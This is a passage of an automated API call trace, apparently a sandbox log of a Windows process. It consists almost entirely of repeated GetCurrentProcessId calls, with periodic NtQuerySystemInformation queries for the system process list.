0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.660] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.661] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.662] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.663] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0250.664] GetCurrentProcessId () returned 0x10c0 [0251.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1df40) returned 0x0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.183] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.185] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.186] GetCurrentProcessId () returned 0x10c0 [0251.188] GetCurrentProcessId () returned 0x10c0 [0251.188] GetCurrentProcessId () returned 0x10c0 [0251.188] GetCurrentProcessId () returned 0x10c0 [0251.188] GetCurrentProcessId () returned 0x10c0 [0251.188] GetCurrentProcessId () returned 0x10c0 [0251.188] GetCurrentProcessId () returned 0x10c0 [0251.188] GetCurrentProcessId () returned 0x10c0 [0251.188] GetCurrentProcessId () returned 0x10c0 [0251.188] GetCurrentProcessId () returned 0x10c0 [0251.188] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.189] GetCurrentProcessId () returned 0x10c0 [0251.190] GetCurrentProcessId () returned 0x10c0 [0251.190] GetCurrentProcessId () returned 0x10c0 [0251.190] GetCurrentProcessId () returned 0x10c0 [0251.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1df40) returned 0x0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.780] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.781] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.782] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.783] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.784] GetCurrentProcessId () returned 0x10c0 [0251.785] GetCurrentProcessId () returned 0x10c0 [0251.785] GetCurrentProcessId () returned 0x10c0 [0252.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1df40) returned 0x0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.488] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.489] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.490] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.491] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0252.492] GetCurrentProcessId () returned 0x10c0 [0253.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1def0) returned 0x0 [0253.029] GetCurrentProcessId () returned 0x10c0 [0253.029] GetCurrentProcessId () returned 0x10c0 [0253.029] GetCurrentProcessId () returned 0x10c0 [0253.029] GetCurrentProcessId () returned 0x10c0 [0253.029] GetCurrentProcessId () returned 0x10c0 [0253.029] GetCurrentProcessId () returned 0x10c0 [0253.029] GetCurrentProcessId () returned 0x10c0 [0253.029] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.030] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.031] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.032] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.033] GetCurrentProcessId () returned 0x10c0 [0253.034] GetCurrentProcessId () returned 0x10c0 [0253.035] GetCurrentProcessId () returned 0x10c0 [0253.035] GetCurrentProcessId () returned 0x10c0 [0253.035] GetCurrentProcessId () returned 0x10c0 [0253.035] GetCurrentProcessId () returned 0x10c0 [0253.035] GetCurrentProcessId () returned 0x10c0 [0253.035] GetCurrentProcessId () returned 0x10c0 [0253.035] GetCurrentProcessId () returned 0x10c0 [0253.035] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.036] GetCurrentProcessId () returned 0x10c0 [0253.037] GetCurrentProcessId () returned 0x10c0 [0253.037] GetCurrentProcessId () returned 0x10c0 [0253.037] GetCurrentProcessId () returned 0x10c0 [0253.037] GetCurrentProcessId () returned 0x10c0 [0253.037] GetCurrentProcessId () returned 0x10c0 [0253.037] GetCurrentProcessId () returned 0x10c0 [0253.037] GetCurrentProcessId () returned 0x10c0 [0253.037] GetCurrentProcessId () returned 0x10c0 [0253.037] GetCurrentProcessId () returned 0x10c0 [0253.667] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1def0) returned 0x0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.673] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] GetCurrentProcessId () returned 0x10c0 [0253.674] 